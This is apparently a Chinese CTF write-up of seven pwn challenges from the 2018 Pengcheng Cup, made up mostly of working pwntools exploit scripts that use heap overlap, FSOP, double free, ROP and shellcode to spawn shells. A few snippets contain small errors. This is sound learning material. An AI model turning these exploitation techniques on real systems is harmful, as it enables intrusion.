

2018-鹏程杯线上赛

共11题, 复现7题.

chat, hackerscreed,rsa,blindpwn四题不会

- bus
 - 题目流程
 - 漏洞点
 - 利用过程
 - 保护机制
- overint
 - exp
- random
 - 题目流程
 - 漏洞点
 - 利用过程
 - exp
- treasure
- easycalc
 - 题目流程
 - 漏洞点
 - 利用过程
 - exp
- note
 - 漏洞点
 - exp
- code
 - 利用过程
 - 爆破脚本
 - exp

bus

本题难度比较大, 漏洞难发现
使用了tcache机制

题目流程

菜单题: 有四个选项: 买票检票上车退出

1. 买票: 提供目的地与人数, 目的地(字符串)保存在堆中, 并将堆指针保存在bss上, 人数保存在bss中, 相同目的地使用同一个chunk, 只需增加人数
2. 检票: 根据目的地(字符串)检索获得bss的堆指针, 返回堆指针在bss上的索引
3. 上车: free掉对应chunk, 置空人数

漏洞点

1. 循环边界溢出, 导致可以分配多一个chunk, 其指针占据去往某个目的地的人数的位置, 而人数是而已改变的, 也就是这个chunk指针是可以加减的, 从而而已造成overlap(不能造成double free)

```
unsigned __int64 v6; // [rsp+0h] [rbp-0h]
```

```
v6 = __readfsqword(0x28u);
for ( i.null_idx = 0; i.null_idx <= 31 && dest[i.null_idx]; ++i.null_idx )
;
ptr = malloc(0x80uLL);
printf("Where do you want to go: ", i);
inputline((char *)ptr, 128LL);
i.dest_idx = ret_dest_idx((const char *)ptr);
```

enter description here

```
.bss:0000000000202080 ; const char *dest[32]
.bss:0000000000202080 dest dq 20h dup(?) ; DATA XREF
.bss:0000000000202080 ; ret_dest_
.bss:0000000000202080 ; _QWORD people_num[32]
.bss:0000000000202180 people_num dq 20h dup(?) ; DATA XREF
.bss:0000000000202180 ; buy_ticke
.bss:0000000000202180 _bss ends
```

enter description here

利用过程

保护机制

```
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
```

enter description here

1. leak libc: 爆破

本题由于属于 `noleak`, 所以只能选择爆破 `libc`

1. 和`libc`有关的, 从`unsortedbin`回来的`chunk`上有`libc`的指针
2. 有一个指向目的地的堆指针是可以加减的, 再加上检票时, 会比较输入的目的地和堆上的目的地, 不同的比较结果会返回不同的信息. 根据这个可以1byte 1byte地爆破出`libc`

```
#!/usr/bin/env python
from pwn import *
context.log_level='debug'
p=process('./bus')
import struct
ru=lambda s:p.recvuntil(s)
sl=lambda s:p.sendline(s)
sd=lambda s:p.send(s)

def buy(dest, person_num, fin=0):
    ru('What do you want to do:')
    sl('1')
    if fin==0:
        ru('Where do you want to go: ')
        sl(dest)
        ru('How many people: ')
        sl(str(person_num))

def select_dest(dest):
    ru('What do you want to do:')
    sl('2')
    ru('Where is your destination:')
    sl(dest)
    line=p.recvline()
    print('=====', line)
```

```

if 'N' in line:
    return False
else:
    return True

def geton():
    ru('What do you want to do:')
    sl('3')

def gogogo(dest):
    select_dest(dest)
    geton()

def debugf(line):
    gdb.attach(p,line)

# gdb.attach(p)#,'nb d2b\n')

for i in range(33):
    buy(str(i)+'\n',123)

leak='\x7f'
for i in range(4):
    # 只需爆破4byte, 最高为'\x7f', 最低不变

    for j in range(15,22):
        # 装满tcache
        gogogo(str(j))
        gogogo(str(i+1))
        # free一个chunk进入unsortedbin

    for j in range(21,14,-1):
        buy(str(j),123)

    buy(str(i+1),123)
    # 将unsortedbin中的 chunk malloc出来

    if i==4:
        buy('0\n',8+4-i)
        gogogo('14')
        for j in range(0xc,0x100):
            payload=p8(j)+leak
            if j==0xa:
                continue
            if select_dest(payload):
                log.success('Ticker check pass')
                leak=payload
                break
    else:
        buy('0\n',8+4-i)
        gogogo('14')
        for j in range(0x100):
            if j==0xa:
                continue
            payload=p8(j)+leak
            if select_dest(payload):
                log.success('Ticker check pass')
                leak=payload
                break
        buy('14',123)

leak='\xa0'+leak
leak=u64(leak.ljust(8,'\x00'))
libc_base=leak-0x3ebca0

```

2. overlap --> tcache dump

构造overlap使tcache中的chunk指向malloc_hook

修改malloc_hook为one_gadget

```
one_off=0x4f2c5
one_off=0x4f322
one_off=0x10a38c
one=libc_base+one_off
malloc_hook=libc_base+0x3ebc30

for i in range(3):
    gogogo(p8(0x35+i))

for i in range(3):
    buy((chr(ord('a')+i).ljust(8, '\x00')+'\x91'.ljust(8, '\x00'))*7
        +'aaaa'.ljust(8, '\x00')+'\x91'.ljust(7, '\x00')),123)

buy('0',0x70)
gogogo('a')
gogogo('b')
gogogo('aaaa')
buy('aaaa'.ljust(0x20, '\x00')+p64(malloc_hook),123)
buy('aa',123)
buy(p64(one),123)
p.recvuntil(':')
p.sendline('1')

p.interactive()
```

overint

比较简单

就是整数溢出，绕过check之后就可以rop了

exp

```
#!/usr/bin/env python
from pwn import *
context.log_level='debug'
e=ELF('./overInt')
puts_plt=e.plt['puts']
puts_got=e.got['puts']
pop_rdi_ret=0x000000000400b13

def edit(num,payload):
    for i in range(num):
        p.recvuntil('Which position you want to modify?\n')
        p.send(p32(0x38+i))
        p.recvuntil('What content you want to write in?\n')
        p.send(payload[i])

#p=process('./overInt')
p=remote('58.20.46.150',35104)
p.recvuntil('Please set array number: \n')
payload=p8(40)+'\x00'*36

p.send(payload)

p.recvuntil('How many numbers do you have?\n')

p.send('\x05\x00\x00\x00')
```

```

p.recvuntil('is: \n')
p.send(p32(0x20633372))

#gdb.attach(p, 'b *0x4007D0')
for i in range(4):
    p.recvuntil('is: \n')
    p.send(p32(0))
#gdb.attach(p, 'b *0x400AAC')
p.recvuntil('How many positions you want to modify?\n')
p.send(p32(32))

rop_payload1=p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(e.entry)
edit(32,rop_payload1)

p.recvuntil('hello!')
puts_libc=u64(p.recvline()[0:6].ljust(8, '\x00'))

print(hex(puts_libc))
'''
from LibcSearcher import *
obj=LibcSearcher('puts',puts_libc)
puts_off=obj.dump('puts')
system_off=obj.dump('system')
print(hex(puts_off))
print(hex(system_off))
'''

puts_off=0x6f690
system_off=0x45390
libc_base=puts_libc-puts_off

one_off=0x45216
one_off=0x4526a
one_off=0xf02a4
one_off=0xf1147
one_gadget=libc_base+one_off

# =====

p.recvuntil('Please set array number: \n')
payload=p8(40)+'\x00'+'\x00'+'\x60'

p.send(payload)

p.recvuntil('How many numbers do you have?\n')

p.send('\x05\x00\x00\x00')
p.recvuntil('is: \n')
p.send(p32(0x20633372))

#gdb.attach(p, 'b *0x4007D0')
for i in range(4):
    p.recvuntil('is: \n')
    p.send(p32(0))
#gdb.attach(p, 'b *0x400AAC')
p.recvuntil('How many positions you want to modify?\n')
p.send(p32(8))

rop_payload2=p64(one_gadget)
edit(8,rop_payload2)

p.interactive()

```

random

这道题是对 `iofile` 结构体的伪造。

题目流程

三个选项

1. 打开一个文件 `fopen`
2. 从文件读取内容 `fread`
3. 关闭文件 `fclose`

漏洞点

打开文件，会分配一个结构体在堆上，关闭文件时，指向堆的指针悬空，导致了 `fread` 在文件关闭之后可以继续使用。

而在使用 `fread` 之前，还会从 `stdin` 获得输入，如果 `fclose` 之后在从 `stdin` 读入内容，就会覆盖 `fclose` 时 `free` 掉的 `iofile_plus`，然后再调用 `fread`，就可以实现 `fsop`

利用过程

`fopen`，分配 `iofile_plus` 在堆上

`fclose`，`free` 掉 `iofile_plus`，并且指针悬空

从 `stdin` 读入时，会给 `stdin` 分配缓冲区，而这个缓冲区恰恰是之前 `free` 掉的 `iofile_plus`。从 `stdin` 读入时，有一个格式化字符串漏洞，可以用来 `leak` 堆地址栈地址。

改 `vtable`，实现 `fsop` 攻击

exp

```
#!/usr/bin/env python
from mypwn import *
import re
p=process('./random')
context(log_level="debug",os='linux',arch='amd64')

def myopen():
    p.sendline('1')

def myclose():
    p.sendline('3')

def myread():
    p.sendline('2')

myopen()
sleep(0.1)
myclose()
sleep(0.1)
myread()
p.sendline('%p'*499)
gdb.attach(p,'nb c4d')
line=p.recvuntil('all').strip('all')
line=re.split(r'(0x|\(nil\))',line)
# for i in range(len(line)):
#     if line[i]=="0x" or line[i]=='(nil)' or line[i]=='':
#         continue
#     elif(0x00007ffff7a0d000<=int(line[i],16)<=0x00007ffff7dd3000):
#         print("libc[{}]: {}".format(i,line[i]))
#     elif(0x00007ffff7fde000<int(line[i],16)<0x00007ffff7fff000):
#         print("stack[{}]: {}".format(i,line[i]))
stack_addr=int(line[806],16)
libc_addr=int(line[812],16)
```

```

libc_base=libc_addr-0x20830

libc=p.libc
libc.address=libc_base
system=libc.symbols['system']
store=stack_addr-0xd50
print(hex(stack_addr))
print(hex(store))

def fake_io_file():
    ret_string='/bin/sh\x00'
    ret_string=ret_string.ljust(0x40,'\x00')
    ret_string+=p64(system)
    ret_string=ret_string.ljust(0x88,'\x00')
    ret_string+=p64(store+0x10)
    ret_string=ret_string.ljust(0xd8,'\x00')
    ret_string+=p64(store)
    return 'aaa'+ret_string

ret_string=fsop_payload(store,{'read':system})
p.sendline('1')
sleep(0.1)
p.sendline('aaa'+ret_string)

p.interactive()

```

treasure

简单的shellcode

easycalc

这道题其实就是 `scanf` 的小trick

使用`scanf()`函数的时候，如果要输入一个数字，但是输入 '+' 号等特殊字符，该函数不会对目的地址进行任何改变

题目流程

菜单题，但是noleak

三个选项

1. **create**: 要求输入两个数字，将其相加，放到**chunk**的**fd**位置，然后输入一个字符串，放到**chunk**的剩余位置.
2. **view**: 没有任何作用
3. **edit**: 输入两个数字,将其相加并用结果修改**chunk**的**fd**位置的内容
4. **drop**: 根据输入的**index**找到对应的**chunk**指针，将其**free**掉

漏洞点

```

unsigned __int64 create()
{
    unsigned int i; // [rsp+4h] [rbp-2Ch] MAPDST
    size_t size; // [rsp+8h] [rbp-28h]
    __int64 b; // [rsp+10h] [rbp-20h]
    unsigned __int64 v5; // [rsp+18h] [rbp-18h]

    v5 = __readfsqword(0x28u);
    puts("input index");
    __isoc99_scanf("%u", &i);
    if ( i <= 8 && !gloPtr[i] )
    {
        puts("input size");
        __isoc99_scanf("%u", &size);
        if ( (unsigned int)size <= 0xFFF && (unsigned int)size > 0xF )
        {
            gloPtr[i] = malloc((unsigned int)size);
            puts("please input number a and b");
            __isoc99_scanf("%lld", gloPtr[i]);
            __isoc99_scanf("%lld", &b);
            *gloPtr[i] += b;
            puts("input string");
            HIDWORD(size) = read(0, gloPtr[i] + 1, (unsigned int)(size - 8));
            if ( HIDWORD(size) + 8 == (_DWORD)size )
                *((_BYTE *)gloPtr[i] + (unsigned int)(HIDWORD(size) + 8)) = 0; // off-by-one
            //
            puts("sum success");
        }
    }
    return __readfsqword(0x28u) ^ v5;
}

```

enter description here

1. create的时候有个 null-off-by-one, 加上可以malloc small chunk. 可以造成overlap, 从而实现double free
2. 在输入number b的时候, scanf的目的地址有一个指向bss的指针, 这样子使用之前提高的scanf函数的trick, 可以malloc一个chunk到bss上.并且改变指向bss的chunk的指针, 使其指向函数的got表.

```

0x55555554adb: mov     rsi, rax
0x55555554ade: lea     rdi, [rip+0x4a5]          # 0x55555554f8a
0x55555554ae5: mov     eax, 0x0
=> 0x55555554aea: call   0x55555554880 <__isoc99_scanf@plt>
0x55555554aef: mov     eax, DWORD PTR [rbp-0x2c]
0x55555554af2: mov     eax, eax
0x55555554af4: lea     rdx, [rax*8+0x0]
0x55555554afc: lea     rax, [rip+0x20159d]        # 0x55555557560a0
Gussed arguments:
arg[0]: 0x55555554f8a --> 0x706e6900646c6c25 ('%lld')
arg[1]: 0x7fffffffde10 --> 0x55555555018 --> 0x25003e7475706e69 ('input>')

```

enter description here

利用过程

1. null-off-by-one 造成 double free
2. malloc一个chunk到bss上, 并在"input string"的时候修改该指针, 使其指向got, 然后使用edit的加减法, 修改got为onegadget, 即可 get shell

exp

```

#!/usr/bin/env python
from pwn import *
p=process('./easycalc', {'LD_PRELOAD': './libc.so.6'})
libc=p.libc
context.log_level='debug'
ru=lambda s:p.recvuntil(s)
sl=lambda s:p.sendline(s)
sd=lambda s:p.send(s)

```



```

def create(index,size,a,b,astring,sline=1):
    ru('>\n')
    sl('1')
    ru('index\n')
    sl(str(index))
    ru('size\n')
    sl(str(size))
    ru('b\n')
    sl(a)
    # sleep(0.1)
    sl(b)
    ru('string\n')
    if sline:
        sl(astring)
    else:
        sd(astring)

def edit(index,a,b):
    ru('>\n')
    sl('3')
    ru('index\n')
    sl(str(index))
    ru('b\n')
    sl(a)
    sl(b)

def drop(index):
    ru('>\n')
    sl('4')
    ru('index\n')
    sl(str(index))

create(0,0xf8,'0','0','123')
create(4,0xf0,'0','0','123') # bypass unlink check
create(1,0x60,'0','0','123') # overlap
create(2,0xf0,'0','0','123') # merge witht chunk0
=====
create(8,0x60,'0','0','123') # use to double free
create(3,0x10,'0','0','123') # aviod consolidate

drop(0)
drop(1)
create(1,0x68,'0','0','a'*0x58+p64(0x270),0)

drop(2)
create(0,0xf0,'0','0','123')
create(5,0xf0,'0','0','123')
create(6,0x60,'0','0','123')
create(7,0xf0,'0','0','123')
drop(1)
drop(8)
drop(6)
drop(7)

create(6,0x60,str(0x201065),'+','123') # fastbin: chunk6 --> chunk8 --> chunk
# chunk1 and chunk6 double free

create(7,0x60,'0','0','123')
create(1,0x60,'123','123','123') # double free
create(2,0xf0,'0','0','123')

create(8,0x60,'123456','0','a'*3+p64(0x70)+'\x00'*0x40+'\x20',0) # point to bss

libc.address=0

```

```

off=libc.symbols['puts']

one_off=0x45216
one_off=0x4526a
one_off=0xf02a4
# one_off=0xf1147

sub=-off+one_off
edit(8, '+', str(sub))

# gdb.attach(p, 'bcall puts')
# drop(8)

p.interactive()

```

note

简单的shellcode编写

漏洞点

```

1 int64 func1()
2 {
3     char buf[10]; // [rsp+Eh] [rbp-12h]
4     int i_bof; // [rsp+18h] [rbp-8h]
5     int size; // [rsp+1Ch] [rbp-4h]
6
7     size = 0;
8     i_bof = 0;
9     if ( ptrNum > 0 && ptrNum <= 25 )
10    {
11        readline(buf, 15); // read idx
12        i_bof = atoi(buf);
13        if ( i_bof < 0 || i_bof > 25 )
14            return 0LL;
15        readline(buf, 15); // read size, 覆盖掉i
16        size = atoi(buf);
17        if ( size >= 0 && size <= 0xD )
18        {
19            gloPtr[i_bof] = malloc(size); // 把close去掉?
20            if ( !gloPtr[i_bof] )
21                exit(0);
22            readline((char *)gloPtr[i_bof], size);
23            ++ptrNum;
24        }
25    }
26    return 0LL;
27 }

```

enter description here

read溢出，使其刚好可以覆盖掉偏移，然后将close函数的got表弄成一个堆指针，之后就是把shellcode串起来

exp

```

from pwn import *
p=process('./note')
context(arch='amd64',log_level='debug',os='linux')

sl=lambda s:p.sendline(s)
ru=lambda s:p.recvuntil(s)
sd=lambda s:p.recvuntil(s)

def add(idx_string,size_string,shellcode):
    sleep(0.5)
    sl('1')
    sleep(0.5)
    sl(idx_string)
    sleep(0.5)
    sl(size_string)
    sleep(0.5)
    sl(shellcode)

ru('#          404 not found          \n')
from struct import pack
sub=pack('<i',-13)
payload='13'.ljust(10,'\x00')+sub          # over the close()
shellcode=asm('mov rax,0x068732f6e69622f')+'\xeb\x14'
add('0',payload,shellcode)

shellcode='\x50'          # push rax
shellcode+='\x48\x89\xe7' # mov rdi, rsp
shellcode+='\x31\xc0'      # mov eax, eax
shellcode=shellcode.ljust(10,'\x90')+'\xeb\x14'
add('1','13',shellcode)

shellcode='\xb0\x3b' # mov al,59
shellcode+='\x31\xf6' # xor esi,esi
shellcode+='\x31\xd2' # xor edx,edx
shellcode+='\x0f\x05' # syscall
add('2','13',shellcode)

sl('2')

p.interactive()

```

code

简单的rop

利用过程

爆破除可以 bypass check的字符串
之后便是简单的rop

爆破脚本

```

#include<stdio.h>
#include<stdlib.h>

char char_set[]="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";

long long angr_hash(char *str){
    __int64_t v0;
    int v2;
    int i;

```

```

__int64_t v4;
v4=0;
v2= strlen(str);
for(i=0;i<v2;++i){
    v0=17*v4+str[i];
    v4 = (v0
- 20181107000000LL
* (((__int64_t)((__uint128_t)(-8396547321047930811LL * v0) >> 64) + v0) >> 40)
- (v0 >> 63)));
}
return v4;
}

void incre_key(char *key_idx,int key_len){
    while(1){
        key_idx[key_len-1]++;
        for(int i=key_len-1;i>=0;i--){
            if(key_idx[i]==52){
                key_idx[i-1]++;
                key_idx[i]=0;
            }
            else{
                return;
            }
        }
    }
}

int main(){
    int key_len=5;

    while(1){
        int total=1;
        for(int i=0;i<key_len;i++){
            total*=52;
        }
        char *key_idx=malloc(key_len);
        char *key=malloc(key_len+1);
        key[key_len]='\x00';

        memset(key_idx,key_len,'\x00');

        for(int i=0;i<total;i++){
            for(int j=0;j<key_len;j++){
                key[j]=char_set[key_idx[j]];
            }
            // gen key

            // printf("%s\n",key);
            if(angr_hash(key)==0x53CBEB035LL){
                // puts('=====');
                puts(key);
                exit(0);
            }
            incre_key(key_idx,key_len);
        }

        key_len++;
    }
}

```

```
#!/usr/bin/env python
from pwn import *
p=process('./code',env={'LD_PRELOAD': './libc.so.6'})
libc=p.libc
libc.address=0

elf=ELF('./code')
context(arch='amd64',log_level='debug')
code='wyBTs'
ru=lambda s:p.recvuntil(s)
sl=lambda s:p.sendline(s)

ru('name:\n')
sl(code)
ru('save\n')

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

pop_rdi_ret=0x0000000000400983
shell='\x00'*0x78
shell+=p64(pop_rdi_ret)
shell+=p64(puts_got)
shell+=p64(puts_plt)
shell+=p64(0x4008E3)

sl(shell)
ru('ss\n')

puts_libc=u64(ru('P')[0:6].ljust(8,'\x00'))
libc_base=puts_libc-libc.symbols['puts']
libc.address=libc_base
one_off=0x45216
one_off=0x4526a
one_off=0xf02a4
one_off=0xf1147
one=libc_base+one_off

ru('save\n')
shell='\x00'*0x78
shell+=p64(one)

sl(shell)

p.interactive()
```